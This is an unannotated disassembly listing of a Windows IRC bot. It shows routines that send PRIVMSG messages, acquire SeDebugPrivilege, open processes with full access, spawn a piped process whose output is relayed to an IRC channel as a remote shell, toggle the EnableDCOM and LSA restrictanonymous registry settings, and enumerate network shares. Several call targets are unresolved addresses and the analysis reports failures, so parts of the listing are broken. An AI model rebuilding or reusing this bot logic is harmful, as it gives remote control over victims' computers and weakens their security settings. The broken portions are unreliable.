loc_4197B7:				; CODE XREF: sub_4196BD+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419890
		push	0
		push	eax
		nop
		call	near ptr 2710ABAh
		test	eax, eax
		jnz	loc_419890


loc_4197DE:				; CODE XREF: sub_4196BD+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419890
; ---------------------------------------------------------------------------


loc_4197E8:				; CODE XREF: sub_4196BD+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987B
		cmp	[ebp+arg_4], eax
		jz	loc_419890
		push	[ebp+var_128]
		push	8
		call	dword_4CB674
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983B
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB514
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419841
		lea	eax, [ebp+var_234]
		jmp	short loc_419847
; ---------------------------------------------------------------------------


loc_41983B:				; CODE XREF: sub_4196BD+15Cj
		push	[ebp+var_128]


loc_419841:				; CODE XREF: sub_4196BD+174j
		lea	eax, [ebp+var_10C]


loc_419847:				; CODE XREF: sub_4196BD+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4197DE
; ---------------------------------------------------------------------------


loc_41987B:				; CODE XREF: sub_4196BD+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C3


loc_419890:				; CODE XREF: sub_4196BD+F5j
					; sub_4196BD+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB568
		test	eax, eax
		jnz	loc_419781
		xor	ebx, ebx


loc_4198AA:				; CODE XREF: sub_4196BD+9Dj
					; sub_4196BD+B3j
		push	[ebp+var_8]
		call	esi


loc_4198AF:				; CODE XREF: sub_4196BD+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx


loc_4198BC:				; CODE XREF: sub_4196BD+3Aj
					; sub_4196BD+46j ...
		xor	eax, eax


loc_4198BE:				; CODE XREF: sub_4196BD+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4198C3:				; CODE XREF: sub_4196BD+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2710ABAh
		test	eax, eax
		jnz	short loc_4198E7
		push	edi
		call	esi
		jmp	short loc_4198BC
; ---------------------------------------------------------------------------


loc_4198E7:				; CODE XREF: sub_4196BD+223j
		push	1
		pop	eax
		jmp	short loc_4198BE
sub_4196BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EC	proc near		; DATA XREF: sub_401ACD+26CEo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_439FB0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994B
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_41994B:				; CODE XREF: sub_4198EC+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BD
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419973
		push	offset unk_439F8C
		jmp	short loc_419978
; ---------------------------------------------------------------------------


loc_419973:				; CODE XREF: sub_4198EC+7Ej
		push	offset unk_439F68


loc_419978:				; CODE XREF: sub_4198EC+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AB
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A73
		add	esp, 14h


loc_4199AB:				; CODE XREF: sub_4198EC+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AD
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
sub_4198EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199CA	proc near		; CODE XREF: sub_401ACD+78B4p
					; sub_40B232+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26902B8h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FC
		push	0
		push	esi
		nop
		call	near ptr 2710ABAh
		test	eax, eax
		jnz	short loc_4199FC
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2670894h


loc_4199FC:				; CODE XREF: sub_4199CA+1Aj
					; sub_4199CA+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199CA	endp

; ---------------------------------------------------------------------------
byte_419A01	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 439DAC35h
		dd 2FE89000h, 0EB022675h
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419A21	proc near		; CODE XREF: sub_419A51+2Ap
					; sub_419A89+7Ep ...
		mov	eax, dword_4DB8D8
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A35
		push	eax
		call	esi


loc_419A35:				; CODE XREF: sub_419A21+Fj
		mov	eax, dword_4DB8E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A42
		push	eax
		call	esi


loc_419A42:				; CODE XREF: sub_419A21+1Cj
		mov	eax, dword_4DB8D4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4F
		push	eax
		call	esi


loc_419A4F:				; CODE XREF: sub_419A21+29j
		pop	esi
		retn
sub_419A21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A51	proc near		; CODE XREF: sub_401ACD+7605p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB8DC
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419A84
		call	sub_419A21
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419A84:				; CODE XREF: sub_419A51+28j
		push	1
		pop	eax
		leave
		retn
sub_419A51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A89	proc near		; CODE XREF: sub_419B10+D3p
					; sub_419B10+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D808
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACC
		push	7D0h
		call	near ptr 2680F4Eh
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE3
; ---------------------------------------------------------------------------


loc_419ACC:				; CODE XREF: sub_419A89+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_419AE3:				; CODE XREF: sub_419A89+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB6A4
		test	eax, eax
		jg	short loc_419B0C
		call	sub_419A21


loc_419B0C:				; CODE XREF: sub_419A89+7Cj
		xor	eax, eax
		leave
		retn
sub_419A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B10	proc near		; DATA XREF: sub_419C65+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB8E4


loc_419B28:				; CODE XREF: sub_419B10+79j
					; sub_419B10+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB8D8
		call	near ptr 2831A3Ch
		nop
		test	eax, eax
		jz	loc_419BF6
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8B
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB8D4
		call	near ptr 28314D9h
		nop
		test	eax, eax
		jz	short loc_419B81
		cmp	[ebp+var_8], 103h
		jnz	loc_419C1A


loc_419B81:				; CODE XREF: sub_419B10+62j
		push	0Ah
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_419B28
; ---------------------------------------------------------------------------


loc_419B8B:				; CODE XREF: sub_419B10+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA2


loc_419B92:				; CODE XREF: sub_419B10+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BF0
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B92


loc_419BA2:				; CODE XREF: sub_419B10+80j
		mov	[ebp+var_4], esi


loc_419BA5:				; CODE XREF: sub_419B10+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB8D8
		nop
		call	near ptr 2710000h
		test	eax, eax
		jz	short loc_419C42
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		add	esp, 0Ch
		jmp	loc_419B28
; ---------------------------------------------------------------------------


loc_419BF0:				; CODE XREF: sub_419B10+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------


loc_419BF6:				; CODE XREF: sub_419B10+45j
		push	offset unk_43A038
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	1
		call	near ptr 26F0000h
		nop


loc_419C1A:				; CODE XREF: sub_419B10+6Bj
		call	sub_419A21
		push	offset unk_43A010
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h


loc_419C42:				; CODE XREF: sub_419B10+C3j
		push	offset unk_439FE0
		push	ebx
		push	dword_4DB918
		call	sub_419A89
		push	[ebp+arg_0]
		call	sub_40B413
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26F0000h
sub_419B10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C65	proc near		; CODE XREF: sub_401ACD+2508p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A21
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433C04
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	loc_419D5F
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5F
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5F
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB8DC
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_419D5F
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D808
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 2670C18h
		nop
		test	eax, eax
		jnz	short loc_419D67


loc_419D5F:				; CODE XREF: sub_419C65+2Fj
					; sub_419C65+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E15
; ---------------------------------------------------------------------------


loc_419D67:				; CODE XREF: sub_419C65+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB8D8, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB8E0, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB8D4, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB918, eax
		jz	short loc_419DA1
		push	[ebp+arg_4]
		jmp	short loc_419DA2
; ---------------------------------------------------------------------------


loc_419DA1:				; CODE XREF: sub_419C65+135j
		push	ebx


loc_419DA2:				; CODE XREF: sub_419C65+13Aj
		push	offset dword_4DB8E4
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A09C
		call	sub_40B0F7
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E598[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B10
		push	esi
		push	esi
		nop
		call	near ptr 2690000h
		cmp	eax, esi
		mov	dword_43E5A4[edi], eax
		jnz	short loc_419E13
		nop
		call	near ptr 26908E1h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A068
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_419E13:				; CODE XREF: sub_419C65+185j
		xor	eax, eax


loc_419E15:				; CODE XREF: sub_419C65+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E1A	proc near		; DATA XREF: sub_401ACD+2E0Co

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E61
		call	sub_419E7A
		jmp	short loc_419E66
; ---------------------------------------------------------------------------


loc_419E61:				; CODE XREF: sub_419E1A+3Ej
		call	sub_41A19E


loc_419E66:				; CODE XREF: sub_419E1A+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B413
		pop	ecx
		push	0
		call	near ptr 26F0000h
		nop
sub_419E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E7A	proc near		; CODE XREF: sub_419E1A+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB724, edi
		jnz	loc_419FAC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419F05
		mov	ax, word_438E18
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419EE7
		push	offset dword_43A338
		jmp	short loc_419EEC
; ---------------------------------------------------------------------------


loc_419EE7:				; CODE XREF: sub_419E7A+64j
		push	offset dword_43A318


loc_419EEC:				; CODE XREF: sub_419E7A+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419F18
; ---------------------------------------------------------------------------


loc_419F05:				; CODE XREF: sub_419E7A+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419F18:				; CODE XREF: sub_419E7A+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F37
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419F37:				; CODE XREF: sub_419E7A+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_419FA5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CB678
		test	eax, eax
		jz	short loc_419F87
		push	offset dword_43A298
		jmp	short loc_419F8C
; ---------------------------------------------------------------------------


loc_419F87:				; CODE XREF: sub_419E7A+104j
		push	offset dword_43A264


loc_419F8C:				; CODE XREF: sub_419E7A+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_419FBF
; ---------------------------------------------------------------------------


loc_419FA5:				; CODE XREF: sub_419E7A+E2j
		push	offset dword_43A228
		jmp	short loc_419FB1
; ---------------------------------------------------------------------------


loc_419FAC:				; CODE XREF: sub_419E7A+13j
		push	offset dword_43A1F8


loc_419FB1:				; CODE XREF: sub_419E7A+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_419FBF:				; CODE XREF: sub_419E7A+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDE
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_419FDE:				; CODE XREF: sub_419E7A+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, edi
		pop	ecx
		jnz	loc_41A159
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A001:				; CODE XREF: sub_419E7A+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB598
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09E
		cmp	eax, 0EAh
		jz	short loc_41A09E
		mov	esi, offset off_43A0C0


loc_41A032:				; CODE XREF: sub_419E7A+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6C
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A049
		push	offset dword_43A1D4
		jmp	short loc_41A04E
; ---------------------------------------------------------------------------


loc_41A049:				; CODE XREF: sub_419E7A+1C6j
		push	offset dword_43A1A8


loc_41A04E:				; CODE XREF: sub_419E7A+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A081:				; CODE XREF: sub_419E7A+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0E0
		jb	short loc_41A032
		jmp	loc_41A136
; ---------------------------------------------------------------------------


loc_41A09E:				; CODE XREF: sub_419E7A+1AAj
					; sub_419E7A+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12D


loc_41A0AD:				; CODE XREF: sub_419E7A+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A122
		push	edi
		call	sub_418B59
		push	eax
		push	0
		call	sub_418C6C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DC
		push	offset dword_43A184
		jmp	short loc_41A0E1
; ---------------------------------------------------------------------------


loc_41A0DC:				; CODE XREF: sub_419E7A+259j
		push	offset dword_43A158


loc_41A0E1:				; CODE XREF: sub_419E7A+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A115
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A115:				; CODE XREF: sub_419E7A+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A122:				; CODE XREF: sub_419E7A+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AD
		xor	edi, edi


loc_41A12D:				; CODE XREF: sub_419E7A+22Dj
		push	[ebp+var_8]
		call	dword_4CB6E4


loc_41A136:				; CODE XREF: sub_419E7A+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A001
		lea	eax, [ebp+var_214]
		push	offset dword_43A130
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16C
; ---------------------------------------------------------------------------


loc_41A159:				; CODE XREF: sub_419E7A+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A16C:				; CODE XREF: sub_419E7A+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A18A
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A18A:				; CODE XREF: sub_419E7A+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19E	proc near		; CODE XREF: sub_419E1A:loc_419E61p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB724, ebx
		push	esi
		jnz	loc_41A2CC
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A229
		mov	ax, word_438E5C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A20B
		push	offset dword_43A4B0
		jmp	short loc_41A210
; ---------------------------------------------------------------------------


loc_41A20B:				; CODE XREF: sub_41A19E+64j
		push	offset dword_43A494


loc_41A210:				; CODE XREF: sub_41A19E+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A23C
; ---------------------------------------------------------------------------


loc_41A229:				; CODE XREF: sub_41A19E+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A2E8
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A23C:				; CODE XREF: sub_41A19E+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25B
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A25B:				; CODE XREF: sub_41A19E+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB6C4
		test	eax, eax
		jnz	short loc_41A2C5
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CB678
		test	eax, eax
		jz	short loc_41A2A7
		push	offset dword_43A454
		jmp	short loc_41A2AC
; ---------------------------------------------------------------------------


loc_41A2A7:				; CODE XREF: sub_41A19E+100j
		push	offset dword_43A41C


loc_41A2AC:				; CODE XREF: sub_41A19E+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB630
